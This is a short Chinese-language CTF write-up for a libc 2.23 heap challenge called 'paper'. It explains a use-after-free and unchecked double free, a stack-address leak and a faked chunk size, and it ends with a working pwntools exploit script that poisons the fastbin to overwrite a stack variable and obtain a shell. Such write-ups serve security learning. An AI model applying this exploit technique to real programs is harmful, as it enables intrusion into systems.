这个的话就保护给的足足的。
给的libc是2.23
进去是一个菜单。
create
最多8个,然后地址放在bss上。
delete
删除,但是会发现还是简单的uaf。而且也没有检查,可以double free。
write
就是简单的往malloc里面输入数字。
find your disk
move your disk
4这里可以泄露一个地址,5这里可以更改v8
最后的目的是把v9改成0xCCCCCCCC,所以我们的总体思路就是怎么能够通过uaf以及double free把v9申请到,然后做一个修改。
我们想要申请到v9,可以通过double free,但是我们需要知道v9的地址,这个可以通过4来知道,然后我峨嵋你需要绕过检查,绕过double free的检查,它会检查fastbin 申请的chunk的size位大小是不是跟自己申请的一样,所以我们还要想办法对其进行一个修改,这件事情5可以做,所以我们所需要的条件现在就都具备了。
其实这个题还要再简单一些,我们平常见到的double free是没有uaf的,这就意味着我们需要把它申请回来才可以写,但是这道题因为有uaf,简单到直接free掉之后就可以写,然后任意申请空间,从而拿到shell。
exp
from pwn import*
r = process("./paper")
elf = ELF("./paper")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
def create():
r.sendlineafter("choice > ", "1")
def move(ID):
r.sendlineafter("choice > ", "2")
r.sendlineafter("Index:\n", str(ID))
def write(ID, count):
r.sendlineafter("choice > ", "3")
r.sendlineafter("Index:\n", str(ID))
r.sendlineafter("word count:\n", str(count))
def find():
r.sendlineafter("choice > ", "4")
r.recvuntil("0x")
return int(r.recv(12), 16)
def disk(disk):
r.sendlineafter("choice > ", "5")
r.sendlineafter("Which disk?\n", str(disk))
def finish():
r.sendlineafter("choice > ", "6")
create() #0
create() #1
move(0)
stack_addr = find()
disk(0x20)
write(0, stack_addr - 0x8)
create() #2
create() #3
write(3, 0xCCCCCCCC)
finish()
r.interactive()